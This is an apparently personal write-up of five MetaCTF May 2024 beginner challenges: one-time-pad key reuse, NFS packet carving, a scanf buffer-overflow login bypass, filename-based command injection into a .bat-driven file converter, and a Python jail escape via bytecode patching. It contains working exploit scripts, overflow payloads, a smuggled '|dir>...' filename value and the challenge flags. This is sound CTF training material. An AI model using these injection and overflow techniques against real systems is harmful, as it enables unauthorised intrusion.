️🏴 MetaCTF May 2024 Flash CTF
A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training and TCM Security. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.
Details here: https://app.metactf.com/join/may2024.
A Tale of Two Ciphertexts
We intercepted some communications by an enemy cyber actor, and we believe it’s possible to break their encryption scheme. We know they’re using some form of a one-time pad, but fatally, they’re reusing the key across all their messages. We know the group likes classical books, with one of the actors recently being into Charles Dickens, but we don’t have much else to go off of.
Please break these communications to get the password they’ve sent each other!
This tool (or a similar one) might come in handy.
I definitely need to read up on “Crib Dragging” a little more as the behaviour isn’t quite what I’d expect.
That said, the suggested tool correctly decrypts the two provided ciphertexts; taking a wild guess at the Dickens work in question being A Tale of Two Cities turned out to be correct.
Grabbing the first two paragraphs of that book, courtesy of Project Gutenberg, reveals two results:
Great idea to use this XOR key to encrypt all of our communications, now it’s impossible to know what we’re talking about! I can tell you any secret in the world but since the XOR key is longer than any of our encrypted messages, it must be impossible to break, right? I do know one of my cybersecurity friends was telling me something about key reuse, but I’m sure that it’s fine. Anyway, let’s get to why I encrypt Ú=u!o:v;’
~cw hhCtby7|1zæ this message in the first place. I’ll be sending you a zip file with our evil plans soon, it’s super critical that no one reads the contents, so I thought it would be wise to send the password separately. The password is MetaCTF{cr1b_dr4gg1ng_7h3_b00k_c1ph3r}. I’ll reach back out to you soon! PS: I sent the start of that book in the other message for you PPS: Oh and I couldn’t forget to put one of my favorite quotes: “Who controls the past controls the future. Who controls the present controls the past“yg=äT BM¾¨
Quite why each is suffixed/prefixed with garbage characters is some reading for another day.
Filesystem Folly
We captured network traffic of someone connecting to a file share on a server and writing to a few files.
The flag is in the
flag.png
file. Find it!Hint: see if you can isolate the RPC requests that are responsible for writing files to the file system, and pull out the payload of the one that writes
flag.png
. Copy Bytes as Raw Binary might be helpful, but there are other valid approaches too.
The provided PCAP file appears to be NFS traffic; opening it in Wireshark:
- add a filter for
nfs
to strip some of the extraneous packets. - there’s an
OPEN DH: 0x49e23f3e/flag.png
entry which is the target. - the
Data
part of that packet starts withPNG
which is promising.
Courtesy of Wireshark’s Reassembled TCP and Copy…As Raw Binary features, it’s possible to simply copy these data and paste the into a file-manager (Dolphin, in my case):
Impossible Login
Making a cool MetaCTF MMO-RPG, so I wrote a very fast
backdoorbackend login server. I made sure no one can login as root.
nc host5.metaproblems.com 5045
Grab the binary here!
Looking at the binary in IDA, all the usernames/passwords are visible, including that for root
: cant_guess_this
.
However, it explicitly checks for a username of root
and forbids authentication:
❯ nc host5.metaproblems.com 5045
Username: root
Root Login is NOT Allowed from this service
There’s a combination of a buffer-overflow via the use of scanf()
in the main()
function:
int main(unsigned long a0, unsigned long a1)
{
unsigned long v0; // [bp-0x68]
unsigned int v1; // [bp-0x5c]
unsigned int v2; // [bp-0x4c]
char v3; // [bp-0x48]
char v4; // [bp-0x28]
v1 = a0;
v0 = a1;
setup();
printf("Username: ");
__isoc99_scanf("%s", (unsigned int)&v4);
getchar();
if (!strncmp(&v4, "root", 4))
{
puts("Root Login is NOT Allowed from this service");
return 1;
}
printf("Password: ");
__isoc99_scanf("%s", (unsigned int)&v3);
getchar();
v2 = login(&v4, strlen(&v4), &v3);
return v2;
}
…and an invalid strncmp()
use in the login()
function:
int login(unsigned long a0, unsigned long a1, char *a2)
{
unsigned int v0; // [bp-0x1c]
char *v1; // [bp-0x18]
char *v2; // [bp-0x10]
v0 = 0;
while (true)
{
if (v0 > 23)
{
puts("Sorry, Username and Password combination not found");
return 1;
}
v1 = *((long long *)&(&creds)[16 * v0]);
v2 = *((long long *)&(&creds)[8 + 16 * v0]);
if (!strncmp(v1, a0, strlen(v1)))
break;
v0 += 1;
}
if (strncmp(v2, a2, strlen(v2)))
{
puts("Sorry, Username and Password combination not found");
return 1;
}
motd(a0, (unsigned int)a1);
return 0;
}
The former can be used to overflow the password variable, overwriting the username variable. The latter ensures that as long as the password starts with the right value, it will be considered valid (effectively making this a TOCTOU bug as the username initially entered is ignored during the authentication check).
Not being quite sure how much to overflow, I tried:
from pwn import process
for i in range(1, 32):
r = process("./logmein")
r.recvuntil(b"Username: ")
r.sendline(b"MetaCTF")
r.recvuntil(b"Password: ")
payload = b"cant_guess_this" + (b"X" * i) + b"root"
print(payload.decode())
r.sendline(payload)
result = r.readline().decode()
if "Welcome" in result:
print(r.readline().decode())
exit()
r.close()
…which demonstrates the requisite amount:
❯ nc host5.metaproblems.com 5045
Username: metactf
Password: cant_guess_thisXXXXXXXXXXXXXXXXXroot
Welcome Back root
Here is your personalize flag: MetaCTF{P@ssw0rDS_r_0pti0n4l}
Conversion Perversion
I’m tired of all these file formats! I’m sick of using random websites to convert files, so I made my own. I’m not quite sure what I’m doing, and I’m certainly not a web designer, but at least the site seems to work!
Try out our service (alt link) and let us know what you think. Also feel free to audit my source code. (I can use the help!)
Please be kind to the server, file conversion is not a light process… ^^and do not use automated scanning tools against the web server.^^ They will not help. If your IP sends too many requests, you might see error 503.
There’s a notes.txt
file in the provided ZIP:
❯ cat ConversionPerversion/notes.txt
Notes to self:
I updated all my tools, pandoc looks like it had a vulnerability maybe in the old version, but it seems patched now!
Also, I know I had some important file on the remote server, but I can't remember what I named it...
Which, somewhat obtusely, is hinting at a vulnerability…somewhere. The challenge, somewhat curiously, is using a .bat
file which might be a push towards the recent, ridiculously-name BatBadBut, a.k.a. CVE-2024-24576.
The .bat
file is in turn using PowerShell to call pandoc
but the use of cmd.exe
should—if the above CVE holds true—allow arbitrary commands to be injected into requests:
❯ curl http://fileconverter.mctf.io:7000/ \
∙ --form 'file=@/dev/null;filename="|dir>uploads/metactf.txt";type=text/plain' \
∙ --form 'output_format=json'
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Here, dir
is used as it’s not actually clear where the flag is. Again, using the service to convert that new JSON file back to something legible:
❯ curl http://fileconverter.mctf.io:7000/ \
∙ --form 'file=@/dev/null;filename=metactf.json;type=text/plain' \
∙ --form 'output_format=markdown'
Volume in drive C has no label. Volume Serial Number is 8AA1-82A4
Directory of C:`\Challenge`{=tex}
05/24/2024 05:50 PM
<DIR>
. 05/23/2024 11:39 PM 4,463 app.py 05/25/2024 11:37 AM 130,733
conversion.log 05/24/2024 12:18 AM 624 convert.bat 05/25/2024 11:34 AM
<DIR>
downloads 05/23/2024 11:40 PM 45
MetaCTF{b4t_m4y_b3_b4d_bu7_c4nt_b3_c0nv3r73d}.txt 05/24/2024 05:50 PM
651 onetxt 05/23/2024 11:59 PM 39 start.bat 05/25/2024 11:32 AM 9
started.txt 05/23/2024 09:57 PM
<DIR>
templates 05/25/2024 11:35 AM
<DIR>
uploads 7 File(s) 136,564 bytes 4 Dir(s) 13,541,421,056 bytes free
Wizard Jail
You’ve been locked in a secure wizard jail, but the overworked guards forgot to take your magic wand away! Can you break out of your cell?
Download the jail plans here.
Connect to the challenge via
nc host5.metaproblems.com 7650
Oh no, it’s another __code__
related Python challenge!
❯ python3 jail.py
Break out of the jail!
Choose an option:
1) Use magic wand
2) Mend magic wand
Enter 1 or 2:
Users are given two options; firstly cast a spell with the wand, taking arbitrary input which is passed through eval()
(but only after a lot of coercing):
def magic_wand(spell):
spell = "~" + spell[::-1]
spell = spell[5:10:] + "~" + spell[:5:]
spell += "~"
return eval(spell + "]")
Or secondly, up to 5 attempts to modify the co_code
value of magic_wand
, taking an integer position and value, effectively allowing the function’s bytecode to be modified:
def mend(magic_wand, location, charm):
co = magic_wand.__code__
magic_wand.__code__ = CodeType(
co.co_argcount,
co.co_posonlyargcount,
co.co_kwonlyargcount,
co.co_nlocals,
co.co_stacksize,
co.co_flags,
co.co_code[:location] + charm + co.co_code[location + 1 :],
co.co_consts,
co.co_names,
co.co_varnames,
co.co_filename,
co.co_name,
co.co_qualname,
co.co_firstlineno,
co.co_linetable,
co.co_exceptiontable,
co.co_freevars,
co.co_cellvars,
)
return magic_wand
Looking at the bytecode for magic_wand
, courtesy of dis
:
>>> from jail import magic_wand
>>> import dis
>>> dis.dis(magic_wand)
4 0 RESUME 0
5 2 LOAD_CONST 1 ('~')
4 LOAD_FAST 0 (spell)
6 LOAD_CONST 0 (None)
8 LOAD_CONST 0 (None)
10 LOAD_CONST 2 (-1)
12 BUILD_SLICE 3
14 BINARY_SUBSCR
24 BINARY_OP 0 (+)
28 STORE_FAST 0 (spell)
6 30 LOAD_FAST 0 (spell)
32 LOAD_CONST 3 (5)
34 LOAD_CONST 4 (10)
36 BUILD_SLICE 2
38 BINARY_SUBSCR
48 LOAD_CONST 1 ('~')
50 BINARY_OP 0 (+)
54 LOAD_FAST 0 (spell)
56 LOAD_CONST 0 (None)
58 LOAD_CONST 3 (5)
60 BUILD_SLICE 2
62 BINARY_SUBSCR
72 BINARY_OP 0 (+)
76 STORE_FAST 0 (spell)
7 78 LOAD_FAST 0 (spell)
80 LOAD_CONST 1 ('~')
82 BINARY_OP 13 (+=)
86 STORE_FAST 0 (spell)
8 88 LOAD_GLOBAL 1 (NULL + eval)
100 LOAD_FAST 0 (spell)
102 LOAD_CONST 5 (']')
104 BINARY_OP 0 (+)
108 PRECALL 1
112 CALL 1
122 RETURN_VALUE
See the docs. for dis
for a breakdown of each instruction.
After some attempt to try and determine how to rewrite open("/flag.txt").read()#
(the trailing #
is there to comment-out the immovable ]
passed into the eval()
) such that it comes out of magic_wand
correctly and failing miserably, the quickest way seems to be to simply JUMP_FORWARD
, bypassing all that silliness entirely. Specifically, according to the above, it needs to jump 29 bytes:
import dis
from pwn import process, remote
r = remote("host5.metaproblems.com", 7650)
r.recvuntil(b"Enter 1 or 2: ")
r.sendline(b"2")
r.recvuntil(b"you'd like to mend (an integer): ")
r.sendline(b"2")
r.recvuntil(b"you'd like to use (an integer): ")
r.sendline(dis.opmap["JUMP_FORWARD"].encode())
r.recvuntil(b"Enter 1 or 2: ")
r.sendline(b"2")
r.recvuntil(b"you'd like to mend (an integer): ")
r.sendline(b"3")
r.recvuntil(b"you'd like to use (an integer): ")
r.sendline(b"29")
r.recvuntil(b"Enter 1 or 2: ")
r.sendline(b"1")
r.recvuntil(b"Enter your spell: ")
r.sendline(b"open('/flag.txt').read()#")
response = r.recvuntil(b"Enter 1 or 2:").decode()
print(response.strip().splitlines()[0])
r.close()
…and running that:
❯ ./jail.py
[+] Opening connection to host5.metaproblems.com on port 7650: Done
Spell worked! The ancient voices whisper back: 'MetaCTF{good_luck_escaping_th3_guards}'
[*] Closed connection to host5.metaproblems.com port 7650